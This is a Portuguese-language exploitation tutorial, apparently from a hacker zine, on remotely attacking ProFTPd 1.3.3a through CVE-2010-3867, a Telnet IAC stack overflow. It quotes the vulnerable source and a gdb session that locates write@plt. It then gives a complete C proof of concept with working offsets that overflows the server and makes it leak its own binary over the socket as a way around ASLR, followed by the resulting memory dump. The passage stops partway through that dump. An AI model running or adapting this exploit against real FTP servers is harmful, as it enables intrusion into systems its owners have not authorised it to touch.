|=-------------------------------------------------------------------------------------=|
█████▒██▓ ▄▄▄ █ █░ ██▓ ▓█████ ██████ ██████
▓██ ▒▓██▒ ▒████▄ ▓█░ █ ░█░▓██▒ ▓█ ▀ ▒██ ▒ ▒██ ▒
▒████ ░▒██░ ▒██ ▀█▄ ▒█░ █ ░█ ▒██░ ▒███ ░ ▓██▄ ░ ▓██▄
░▓█▒ ░▒██░ ░██▄▄▄▄██ ░█░ █ ░█ ▒██░ ▒▓█ ▄ ▒ ██▒ ▒ ██▒
░▒█░ ░██████▒▓█ ▓██▒░░██▒██▓ ░██████▒░▒████▒▒██████▒▒▒██████▒▒
▒ ░ ░ ▒░▓ ░▒▒ ▓▒█░░ ▓░▒ ▒ ░ ▒░▓ ░░░ ▒░ ░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░
░ ░ ░ ▒ ░ ▒ ▒▒ ░ ▒ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░▒ ░ ░░ ░▒ ░ ░
░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
██▒ █▓ ██▓ ▄████▄ ▄▄▄█████▓ ▒█████ ██▀███ ▓██ ██▓
▓██░ █▒▓██▒▒██▀ ▀█ ▓ ██▒ ▓▒▒██▒ ██▒▓██ ▒ ██▒▒██ ██▒
▓██ █▒░▒██▒▒▓█ ▄ ▒ ▓██░ ▒░▒██░ ██▒▓██ ░▄█ ▒ ▒██ ██░
▒██ █░░░██░▒▓▓▄ ▄██▒░ ▓██▓ ░ ▒██ ██░▒██▀▀█▄ ░ ▐██▓░
▒▀█░ ░██░▒ ▓███▀ ░ ▒██▒ ░ ░ ████▓▒░░██▓ ▒██▒ ░ ██▒▓░
░ ▐░ ░▓ ░ ░▒ ▒ ░ ▒ ░░ ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ██▒▒▒
░ ░░ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ░▒ ░ ▒░▓██ ░▒░
░░ ▒ ░░ ░ ░ ░ ░ ▒ ░░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
|=-------------------------------------------------------------------------------------=|
|=-----------=[ Exploração de código remoto: uma técnica bastante eficaz ]=------------=|
|=-------------------------------------------------------------------------------------=|
|=-----------------------=[ Ighor Augusto - a.k.a F0rb1dd3n ]=-------------------------=|
|=-----------------------=[ f0rb1 [at] hotmail [dot] com ]=-------------------------=|
|=-------------------------------------------------------------------------------------=|
Olá pessoal. Estou aqui para falar sobre um assunto já muito falado na internet. Porém,
talvez minha abordagem ajude muitas pessoas. Espero que este artigo contribua muito para
os conhecimentos do leitor. Falarei sobre remote exploitation usando um simples e clássico
stack overflow como exemplo. Entretanto esta técnica pode se estender à outros tipos de
explorações de vulnerabilidades, cabe ao leitor enxergar aplicação desta técnica em outras
situações.
Quando pensamos em exploração de vulnerabilidades, sempre nos deparamos com defesas anti-
exploitations como ASLR, NX/PaX, AAAs, stack cookie e etc. Cada uma dessas defesas
implementa conceitos e paradigmas diferentes. O que dificulta o sucesso de uma exploração
e muita das vezes um impecílio para quem quer escrever seu exploit. Driblar o stack cookie
pode parecer uma coisa meio dificil no inicio, porém uma técnica simples, descrita por Adam
Zabrocki (a.k.a pi3) no seu artigo da Phrack 67, é muito facil de ser implementada e pode
ser bastante eficaz em diversos ambientes: trata-se de um simples bruteforce byte a byte.
Assim é possivel descobrir o valor do stack cannary e continuar a exploração. Apesar de
tal técnica funcionar em um ambiente restrito (chamadas fork() que não são seguidas de
execve()), há outras maneiras de driblar o cookie (pointer dereference é uma delas, porém
a exploração deixa de ser stack overflow e passa a ser pointer dereference). Não abordarei
o bypass de stack cookie nesse paper, porém fica a dica do artigo do pi3 e lá tem outras
referências para tal.
Talvez uma das maiores dificuldades em explorar um software seja o ALSR. Geralmente é
utilizado Return Oriented Programming para passar por esse tipo de defesa, porém há uma
desvantagem: ROP utiliza dos bínários do proprio software explorado para poder encadear
as instruções a serem executadas, ou seja, não é injetado código, mas sim reaproveitado
o código do software alvo. A técnica aqui descrita, utiliza de programação orientada ao
retorno para efetuar syscalls direto da PLT e injetar um shellcode. Assim estaremos aptos
a burlar facilmente ASLR assim como outras defesas anti-exploitation, e injetando qualquer
tipo de shellcode pré-programado. Bom chega de blá blá blá e vamos à prática!!!
Vou usar como exemplo uma vulnerabilidade no ProFTPd (CVE-2010-3867) descoberta por TJ
Sounders. A técnica que vou usar, é proposta por Nikolaos Rangos (a.k.a Kingcope) que
publicou um exploit em Perl desse mesmo bug implementando a técnica, que é facilmente
achado no exploit-db.com. Utilizarei o ProFTPd 1.3.3a, rodando em um Ubuntu 10.04,
kernel 2.6.35-22-generic.
Analizaremos a falha - segue abaixo um trecho adaptado por mim do artigo Scraps of
notes on remote stack overflow exploitation do pi3 na Phrack 67:
O bug ocorre quando é feito o parsing dos caracteres TELNET_IAC
devido a um erro de calculo no final do loop de leitura. O problema ocorre na função
pr_netio_telnet_gets() do arquivo src/netio.c:
-------------------------------------------------------------------------------------------
char *pr_netio_telnet_gets(char *buf, size_t buflen,
pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
char *bp = buf;
...
[L1] while (buflen) {
...
toread = pr_netio_read(in_nstrm, pbuf->buf,
(buflen < pbuf->buflen ? buflen : pbuf->buflen), 1);
...
[L2] while (buflen && toread > 0 && *pbuf->current != '\n'
&& toread--) {
...
if (handle_iac == TRUE) {
switch (telnet_mode) {
case TELNET_IAC:
switch (cp) {
...
...
default:
...
*bp++ = TELNET_IAC;
[L3] buflen--;
telnet_mode = 0;
break;
}
...
}
}
*bp++ = cp;
[L4] buflen--;
}
...
...
*bp = '\0';
return buf;
}
}
--------------------------------------------------------------------------------------------
O loop (em L2) lê e faz o parse dos bytes recebidos, ao mesmo tempo é decrementado bufflen
(o tamanho do buffer (em L4)). O problema ocorre quando os caracteres TELNET_IAC estão
seguidos de 0xFF. Quando esse caractere ocorre no parsing de dados bufflen é decrementado
(em L3). Então o resultado dessa situação é que o bufflen será decrementado em 2 bytes, e
isto é perfeito para burlar uma verificação inapropriada (em L1). Portanto quando
bufflen == 1 se o caractere TELNET_IAC for 0xFF então bufflen = 1 - 2 = -1. Como resultado
o while(bufflen) (em L1) continuará e a copia de bytes continua até o final da string
(quando o caractere "\n" é encontrado). A função pr_netio_telnet_gets() é chamada pela
função pr_cmd_read() no arquivo src/main.c:
--------------------------------------------------------------------------------------------
int pr_cmd_read(cmd_rec **res) {
static long cmd_bufsz = -1;
char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};
...
while (TRUE) {
...
if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm,
session.c->outstrm) == NULL) {
...
}
...
...
return 0;
}
--------------------------------------------------------------------------------------------
Neste caso o argumento para a função vulneravel é um buffer local na pilha de execução,
caracterizando uma vulnerabilidade classica de stack overflow.
Nesse trecho do artigo do pi3, ele explica o porque ocorre a falha. Então sabemos que temos
que conectar no ProFTPd e passar o byte 0xFF na posição correta do buffer para que ocorra
o decremento duplo e faremos o bypass da verificação do loop, ativando a vulnerabilidade.
Sabendo disso, podemos partir para a exploração! Para, conseguirmos achar os offsets de
gadgets (para ROP), e das chamada das funções na PLT, temos que dar um jeito de ler os
binários do servidor a ser explorado. Como? Aqui começa o pulo do gato, então sugiro prestar
bastante atenção no que vem a seguir.
Se podemos tomar controle do EIP em uma exploração de stack overflow classico, então podemos
"mandar" o EIP para o endereço de uma syscall, ou seja, temos que retornar para a função de
sistema. Aqui implementamos return-to-plt ou return-to-function. Mas qual função retornar?
Alguma função que nos envie os bytes lidos do servidor. Então nada melhor que utilizar a
syscall write(2) para efetuar essa funçao, olhem só:
--------------------------------------------------------------------------------------------
WRITE(2) Linux Programmer's Manual WRITE(2)
NAME top
write - write to a file descriptor
SYNOPSIS top
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
DESCRIPTION top
write() writes up to count bytes from the buffer pointed buf to the
file referred to by the file descriptor fd.
The number of bytes written may be less than count if, for example,
there is insufficient space on the underlying physical medium, or the
RLIMIT_FSIZE resource limit is encountered (see setrlimit(2)), or the
call was interrupted by a signal handler after having written less
than count bytes. (See also pipe(7).)
For a seekable file (i.e., one to which lseek(2) may be applied, for
example, a regular file) writing takes place at the current file
offset, and the file offset is incremented by the number of bytes
actually written. If the file was open(2)ed with O_APPEND, the file
offset is first set to the end of the file before writing. The
adjustment of the file offset and the write operation are performed
as an atomic step.
POSIX requires that a read(2) which can be proved to occur after a
write() has returned returns the new data. Note that not all
filesystems are POSIX conforming.
RETURN VALUE top
On success, the number of bytes written is returned (zero indicates
nothing was written). On error, -1 is returned, and errno is set
appropriately.
If count is zero and fd refers to a regular file, then write() may
return a failure status if one of the errors below is detected. If
no errors are detected, 0 will be returned without causing any other
effect. If count is zero and fd refers to a file other than a
regular file, the results are not specified.
...
...
----------------------------------------------------------------------------------------------
Então write(2) escreve dados de um buffer em um file descriptor. E o que é um socket no linux?
Nada mais nada menos que um file descriptor. Então com essa função podemos escrever bytes de
um buffer em um socket, como haverá conexão aberta com esse socket, os bytes escritos nele
serão enviados para a máquina conectada. Resumindo, com write(2) podemos enviar bytes de um
buffer em uma conexão de socket. Então vejam como ficará inicialmente nosso buffer para chamar
write(2):
buffer:
-> Bytes 0x00 simulando uma conexão TELNET_IAC que nao faz nada (número de bytes a definir)
-> Byte 0xFF (aqui ativamos a vulnerabilidade)
-> Junk (bytes aleatórios para preencher o buffer até sobrescrever o endereço de retorno)
-> Endereço da chamada write(2)
-> Crash (bytes para parar a execução após a chamada write(2))
-> File descriptor para write(2) - Será o descritor de arquivo do socket conectado
-> Endereço do buffer onde write(2) irá ler os bytes a serem escritos no socket
-> Tamanho do buffer a ser lido
-> \x0a\x0d - finalizador de string ("\n")
esquematicamente fica assim:
\xff\x00\x00\x00 --------> Ativando a vulnerabilidade
\x41\x41\x41\x41 -----|
... |--> \x41 = A (na tabela ASCII)
\x41\x41\x41\x41 -----|
Endereço de write
\xcc\xcc\xcc\xcc --------> \xcc = breakpoint (pára a execução)
\x01\x00\x00\x00 --------> file descriptor do socket no ProFTPd
Endereço de write -------> Usarei o endereço da propria chamada de write como ponto de partida
\xff\xff\x0f\x00 --------> número de bytes a serem lido (0xfffff bytes)
\x0a\x0d ----------------> finalizador de string
Como estamos utilizando a arquitetura x86, então os bytes são tratados em little endian, por
isso estão "invertidos". Como a região de JUNK não servirá para nada além de preencher o
buffer, coloquei \x41 (equivalente a letra A na tabela ASCII), pois é um valor neutro que não
fará diferença alguma. Os bytes logo despois a chamada write(2), servem para parar a execução.
Pois após executarmos a chamada write(2) o próximo endereço será a instrução após o retorno,
como no nosso buffer utilizaremos as proximas regiões e para evitarmos problemas de execução,
é colocado valor de breakpoint para que a conexão trave e seja encerrada. O file descriptor
do socket utilizado para a conexão é 01, que é facilmente descoberto analizando o processo
do ProFTPd. Existem ferramentas nativas do linux que mostram os file descriptors usados em um
processo, e debuggando, também, é outro caminho. Assim como o tamanho do offset antes de 0xFF
(para ativar a vulnerabilidade) e o tamanho do JUNK para preencher o buffer até sobrescrever
o endereço de retorno, são coisas faceis de serem determinadas atravéz de debug do processo.
Então deixarei essas coisinhas a cargo do leitor, para que possa exercitar suas habilidades
de debugging, que é excencial para uma exploração de sucesso. Utilizarei o endereço da chamada
write(2) como ponto de partida para leitura dos bytes, mas poderia ser qualquer endereço de
memória onde reside os binários do ProFTPd (quanto mais próximo do início melhor!) Os bytes
\xff\xff\x0f\x00 mostram o tamanho do buffer a ser lido, pode ser qualquer valor, mas quanto
maior melhor, mais bytes serão lidos. Esse tamanho é o tamanho necessário para ler todos os
bytes dos binários do ProFTPd. Mas e o endereço de write(2)? Pode ser facilmente encontrado
com objdump e outras ferramentas de disassembly, porém uma listagem de funções com o gdb já
basta:
Máquina a ser atacada: -------------------------------------------------------------------------------
root@ubuntu:/home/neo# ps aux | grep proftpd
proftpd 1283 0.0 0.0 8360 1712 ? Ss Sep11 0:00 proftpd: (accepting connections)
root 5047 0.0 0.0 4172 752 pts/0 S+ 08:49 0:00 grep --color=auto proftpd
root@ubuntu:/home/neo# gdb -q
(gdb) attach 1283
Attaching to process 1283
Reading symbols from /usr/sbin/proftpd...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libcrypt.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libcrypt.so.1
Reading symbols from /lib/i386-linux-gnu/libz.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libz.so.1
Reading symbols from /lib/libacl.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/libacl.so.1
Reading symbols from /lib/libattr.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/libattr.so.1
Reading symbols from /lib/libssl.so.0.9.8...(no debugging symbols found)...done.
Loaded symbols for /lib/libssl.so.0.9.8
Reading symbols from /lib/libcrypto.so.0.9.8...(no debugging symbols found)...done.
Loaded symbols for /lib/libcrypto.so.0.9.8
Reading symbols from /lib/libcap.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libcap.so.2
Reading symbols from /lib/libpam.so.0...(no debugging symbols found)...done.
Loaded symbols for /lib/libpam.so.0
Reading symbols from /lib/i386-linux-gnu/libdl.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libdl.so.2
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/i386-linux-gnu/libnss_files.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libnss_files.so.2
Reading symbols from /usr/lib/proftpd/mod_ctrls_admin.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_ctrls_admin.so
Reading symbols from /usr/lib/proftpd/mod_tls.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_tls.so
Reading symbols from /usr/lib/proftpd/mod_radius.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_radius.so
Reading symbols from /usr/lib/proftpd/mod_quotatab.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_quotatab.so
Reading symbols from /usr/lib/proftpd/mod_quotatab_file.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_quotatab_file.so
Reading symbols from /usr/lib/proftpd/mod_quotatab_radius.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_quotatab_radius.so
Reading symbols from /usr/lib/proftpd/mod_wrap.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_wrap.so
Reading symbols from /lib/libwrap.so.0...(no debugging symbols found)...done.
Loaded symbols for /lib/libwrap.so.0
Reading symbols from /lib/i386-linux-gnu/libnsl.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libnsl.so.1
Reading symbols from /usr/lib/proftpd/mod_rewrite.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_rewrite.so
Reading symbols from /usr/lib/proftpd/mod_load.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_load.so
Reading symbols from /usr/lib/proftpd/mod_ban.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_ban.so
Reading symbols from /usr/lib/proftpd/mod_wrap2.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_wrap2.so
Reading symbols from /usr/lib/proftpd/mod_wrap2_file.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_wrap2_file.so
Reading symbols from /usr/lib/proftpd/mod_dynmasq.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_dynmasq.so
Reading symbols from /usr/lib/proftpd/mod_vroot.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_vroot.so
Reading symbols from /usr/lib/proftpd/mod_exec.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_exec.so
Reading symbols from /usr/lib/proftpd/mod_shaper.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_shaper.so
Reading symbols from /usr/lib/proftpd/mod_ratio.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_ratio.so
Reading symbols from /usr/lib/proftpd/mod_site_misc.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_site_misc.so
Reading symbols from /usr/lib/proftpd/mod_sftp.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_sftp.so
Reading symbols from /usr/lib/proftpd/mod_sftp_pam.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_sftp_pam.so
Reading symbols from /usr/lib/proftpd/mod_facl.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_facl.so
Reading symbols from /usr/lib/proftpd/mod_unique_id.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_unique_id.so
Reading symbols from /usr/lib/proftpd/mod_ifsession.so...(no debugging symbols found)...done.
Loaded symbols for /usr/lib/proftpd/mod_ifsession.so
Reading symbols from /lib/i386-linux-gnu/libnss_compat.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libnss_compat.so.2
Reading symbols from /lib/i386-linux-gnu/libnss_nis.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/i386-linux-gnu/libnss_nis.so.2
0x00cf9416 in __kernel_vsyscall ()
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x08052ff8 _init
0x08053038 fileno
0x08053038 fileno@plt
0x08053048 __errno_location
0x08053048 __errno_location@plt
0x08053058 statvfs64
0x08053058 statvfs64@plt
0x08053068 sigemptyset
0x08053068 sigemptyset@plt
0x08053078 sprintf
0x08053078 sprintf@plt
0x08053088 srand
0x08053088 srand@plt
0x08053098 pam_start
0x08053098 pam_start@plt
0x080530a8 connect
0x080530a8 connect@plt
0x080530b8 setgroups
0x080530b8 setgroups@plt
0x080530c8 pam_close_session
0x080530c8 pam_close_session@plt
0x080530d8 getpid
0x080530d8 getpid@plt
0x080530e8 mkdir
0x080530e8 mkdir@plt
0x080530f8 dirfd
0x080530f8 dirfd@plt
0x08053108 strerror
0x08053108 strerror@plt
0x08053118 creat64
0x08053118 creat64@plt
0x08053128 getsockname
0x08053128 getsockname@plt
0x08053138 regfree
0x08053138 regfree@plt
0x08053148 setrlimit64
0x08053148 setrlimit64@plt
0x08053158 strcoll
0x08053158 strcoll@plt
0x08053168 sysconf
0x08053168 sysconf@plt
0x08053178 qsort
0x08053178 qsort@plt
0x08053188 freeaddrinfo
0x08053188 freeaddrinfo@plt
0x08053198 shutdown
0x08053198 shutdown@plt
0x080531a8 pam_strerror
0x080531a8 pam_strerror@plt
0x080531b8 open64
0x080531b8 open64@plt
0x080531c8 signal
0x080531c8 signal@plt
0x080531d8 __gmon_start__
0x080531d8 __gmon_start__@plt
0x080531e8 realloc
0x080531e8 realloc@plt
0x080531f8 siginterrupt
0x080531f8 siginterrupt@plt
0x08053208 iconv_open
0x08053208 iconv_open@plt
0x08053218 rewind
0x08053218 rewind@plt
0x08053228 unsetenv
0x08053228 unsetenv@plt
0x08053238 __xstat64
0x08053238 __xstat64@plt
0x08053248 localtime
0x08053248 localtime@plt
0x08053258 getgrnam
0x08053258 getgrnam@plt
0x08053268 strtod
0x08053268 strtod@plt
0x08053278 strchr
0x08053278 strchr@plt
0x08053288 vsnprintf
0x08053288 vsnprintf@plt
0x08053298 getenv
0x08053298 getenv@plt
0x080532a8 calloc
0x080532a8 calloc@plt
0x080532b8 strncpy
0x080532b8 strncpy@plt
0x080532c8 fchown
0x080532c8 fchown@plt
0x080532d8 write
0x080532d8 write@plt <--------------- endereço de write(2) na PLT (0x080532d8)
0x080532e8 tzset
0x080532e8 tzset@plt
0x080532f8 fgetpwent
0x080532f8 fgetpwent@plt
0x08053308 cap_set_proc
0x08053308 cap_set_proc@plt
0x08053318 listen
0x08053318 listen@plt
0x08053328 dlclose
0x08053328 dlclose@plt
...
...
...
-------------------------------------------------------------------------------------------------
Então sabemos que o endereço para write(2) é 0x080532d8, debugando o software encontra-se que o
alinhamento para ativar a vulnerabilidade é de 4101 bytes e o numero de bytes para Junk é 34.
Então já temos o suficiente para escrever uma prova de conceito para chamada write(2). Olhe só
nosso código:
-------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define OFFSET 4101
#define PADDING 34
#define WRITE 0x080532d8
char write_fd[]="\x01\x00\x00\x00";
char write_len[]="\xff\xff\x0f\x00";
char junk[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41";
// A function to display an error message and then exit
void fatal(char *message) {
char error_message[100];
strcpy(error_message, "[!!] Fatal Error ");
strncat(error_message, message, 83);
perror(error_message);
exit(-1);
}
// dumps raw memory in hex byte and printable split format
void dump(const unsigned char *data_buffer, const unsigned int length) {
unsigned char byte;
unsigned int i, j;
for(i=0; i < length; i++) {
byte = data_buffer[i];
printf("%02x ", data_buffer[i]); // display byte in hex
if(((i%16)==15) || (i==length-1)) {
for(j=0; j < 15-(i%16); j++)
printf(" ");
printf("| ");
for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line
byte = data_buffer[j];
if((byte > 31) && (byte < 127)) // outside printable char range
printf("%c", byte);
else
printf(".");
}
printf("\n"); // end of the dump line (each line 16 bytes)
} // end if
} // end for
printf("\n");
}
int main(int argc, char *argv[]) {
int sockfd;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[OFFSET+1+PADDING+22];
unsigned char read_buffer[0xfffff];
if(argc < 2) {
printf("\n\t Showcase Telnet IAC remote call write(2)\n");
printf("\t Writen by: F0rb1dd3n\n");
printf("\n\t Usage: %s <target IP> <your IP>\n\n", argv[0]);
exit(1);
}
if((host_info = gethostbyname(argv[1])) == NULL)
fatal("looking up hostname");
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(21);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct
printf("\n\t Showcase Telnet IAC remote call write(2)\n");
printf("\t Writen by: F0rb1dd3n\n");
printf("\n\t Target: %s\n", argv[1]);
printf("\n\t Trying write(2) offset: 0x%08x", WRITE);
bzero(buffer, OFFSET+1+PADDING+22); // zero out the buffer
memcpy(buffer+OFFSET, "\xff", 1); // triggering the vulnerability
memcpy(buffer+OFFSET+1, junk, strlen(junk)); // junk
*((u_int *)(buffer+OFFSET+1+PADDING)) = WRITE; // write address
memcpy(buffer+OFFSET+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4); // crash dummy
memcpy(buffer+OFFSET+1+PADDING+8, write_fd, strlen(write_fd)); // fd for write
*((u_int *)(buffer+OFFSET+1+PADDING+12)) = WRITE; // buffer for write
memcpy(buffer+OFFSET+1+PADDING+16, write_len, strlen(write_len)); // lenght for write
memcpy(buffer+OFFSET+1+PADDING+20, "\x0a\x0d", 2); // end of buffer
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
fatal("connecting to target server");
write(sockfd, buffer, OFFSET+1+PADDING+22);
bzero(read_buffer, sizeof(read_buffer));
if(read(sockfd, read_buffer, 0xfffff) != 0) {
printf("\n\t [+] Success on write(2)\n\n");
close(sockfd);
dump(read_buffer, 0xffff);
}
}
------------------------------------------------------------------------------------------------
Nosso código é simples e eficaz. O que ele faz? Ele cria um socket, conecta no ProFTPd, cria um
buffer como nós previmos acima, envia o buffer atravéz de write(), nosso buffer irá explorar a
vulnerabilidade e executar a syscall write(2), então os binários do servidor serão retornados
para nós, portanto iremos ler os bytes retornados no socket com read() e colocamos eles em
read_buffer, em seguida, se a operação foi um sucesso, imprimimos os bytes na tela com a função
escrita por mim dump(). Vejam a saída do nosso programa:
Máquina atacante: -------------------------------------------------------------------------------
root@kali:~/Studies# gcc proftpd-call-write.c -o proftpd-call-write
root@kali:~/Studies# ./proftpd-call-write
Showcase Telnet IAC remote call write(2)
Writen by: F0rb1dd3n
Usage: ./proftpd-call-write <target IP> <your IP>
root@kali:~/Studies# ./proftpd-call-write 192.168.25.18
Showcase Telnet IAC remote call write(2)
Writen by: F0rb1dd3n
Target: 192.168.25.18
Trying write(2) offset: 0x080532d8
[+] Success on write(2)
32 32 30 20 50 72 6f 46 54 50 44 20 31 2e 33 2e | 220 ProFTPD 1.3.
33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 | 3a Server (Debia
6e 29 20 5b 3a 3a 66 66 66 66 3a 31 39 32 2e 31 | n) [::ffff:192.1
36 38 2e 32 35 2e 31 38 5d 0d 0a ff 25 a4 7e 0d | 68.25.18]...%.~.
08 68 50 01 00 00 e9 40 fd ff ff ff 25 a8 7e 0d | .hP....@....%.~.
08 68 58 01 00 00 e9 30 fd ff ff ff 25 ac 7e 0d | .hX....0....%.~.
08 68 60 01 00 00 e9 20 fd ff ff ff 25 b0 7e 0d | .h`.... ....%.~.
08 68 68 01 00 00 e9 10 fd ff ff ff 25 b4 7e 0d | .hh.........%.~.
08 68 70 01 00 00 e9 00 fd ff ff ff 25 b8 7e 0d | .hp.........%.~.
08 68 78 01 00 00 e9 f0 fc ff ff ff 25 bc 7e 0d | .hx.........%.~.
08 68 80 01 00 00 e9 e0 fc ff ff ff 25 c0 7e 0d | .h..........%.~.
08 68 88 01 00 00 e9 d0 fc ff ff ff 25 c4 7e 0d | .h..........%.~.
08 68 90 01 00 00 e9 c0 fc ff ff ff 25 c8 7e 0d | .h..........%.~.
08 68 98 01 00 00 e9 b0 fc ff ff ff 25 cc 7e 0d | .h..........%.~.
08 68 a0 01 00 00 e9 a0 fc ff ff ff 25 d0 7e 0d | .h..........%.~.
08 68 a8 01 00 00 e9 90 fc ff ff ff 25 d4 7e 0d | .h..........%.~.
08 68 b0 01 00 00 e9 80 fc ff ff ff 25 d8 7e 0d | .h..........%.~.
08 68 b8 01 00 00 e9 70 fc ff ff ff 25 dc 7e 0d | .h.....p....%.~.
08 68 c0 01 00 00 e9 60 fc ff ff ff 25 e0 7e 0d | .h.....`....%.~.
08 68 c8 01 00 00 e9 50 fc ff ff ff 25 e4 7e 0d | .h.....P....%.~.
08 68 d0 01 00 00 e9 40 fc ff ff ff 25 e8 7e 0d | .h.....@....%.~.
08 68 d8 01 00 00 e9 30 fc ff ff ff 25 ec 7e 0d | .h.....0....%.~.
08 68 e0 01 00 00 e9 20 fc ff ff ff 25 f0 7e 0d | .h..... ....%.~.
08 68 e8 01 00 00 e9 10 fc ff ff ff 25 f4 7e 0d | .h..........%.~.
08 68 f0 01 00 00 e9 00 fc ff ff ff 25 f8 7e 0d | .h..........%.~.
08 68 f8 01 00 00 e9 f0 fb ff ff ff 25 fc 7e 0d | .h..........%.~.
08 68 00 02 00 00 e9 e0 fb ff ff ff 25 00 7f 0d | .h..........%...
08 68 08 02 00 00 e9 d0 fb ff ff ff 25 04 7f 0d | .h..........%...
08 68 10 02 00 00 e9 c0 fb ff ff ff 25 08 7f 0d | .h..........%...
08 68 18 02 00 00 e9 b0 fb ff ff ff 25 0c 7f 0d | .h..........%...
08 68 20 02 00 00 e9 a0 fb ff ff ff 25 10 7f 0d | .h .........%...
08 68 28 02 00 00 e9 90 fb ff ff ff 25 14 7f 0d | .h(.........%...
08 68 30 02 00 00 e9 80 fb ff ff ff 25 18 7f 0d | .h0.........%...
08 68 38 02 00 00 e9 70 fb ff ff ff 25 1c 7f 0d | .h8....p....%...
08 68 40 02 00 00 e9 60 fb ff ff ff 25 20 7f 0d | .h@....`....% ..
08 68 48 02 00 00 e9 50 fb ff ff ff 25 24 7f 0d | .hH....P....%$..
08 68 50 02 00 00 e9 40 fb ff ff ff 25 28 7f 0d | .hP....@....%(..
08 68 58 02 00 00 e9 30 fb ff ff ff 25 2c 7f 0d | .hX....0....%,..
08 68 60 02 00 00 e9 20 fb ff ff ff 25 30 7f 0d | .h`.... ....%0..
08 68 68 02 00 00 e9 10 fb ff ff ff 25 34 7f 0d | .hh.........%4..
08 68 70 02 00 00 e9 00 fb ff ff ff 25 38 7f 0d | .hp.........%8..
08 68 78 02 00 00 e9 f0 fa ff ff ff 25 3c 7f 0d | .hx.........%<..
08 68 80 02 00 00 e9 e0 fa ff ff ff 25 40 7f 0d | .h..........%@..
08 68 88 02 00 00 e9 d0 fa ff ff ff 25 44 7f 0d | .h..........%D..
08 68 90 02 00 00 e9 c0 fa ff ff ff 25 48 7f 0d | .h..........%H..
08 68 98 02 00 00 e9 b0 fa ff ff ff 25 4c 7f 0d | .h..........%L..
08 68 a0 02 00 00 e9 a0 fa ff ff ff 25 50 7f 0d | .h..........%P..
08 68 a8 02 00 00 e9 90 fa ff ff ff 25 54 7f 0d | .h..........%T..
08 68 b0 02 00 00 e9 80 fa ff ff ff 25 58 7f 0d | .h..........%X..
08 68 b8 02 00 00 e9 70 fa ff ff ff 25 5c 7f 0d | .h.....p....%\..
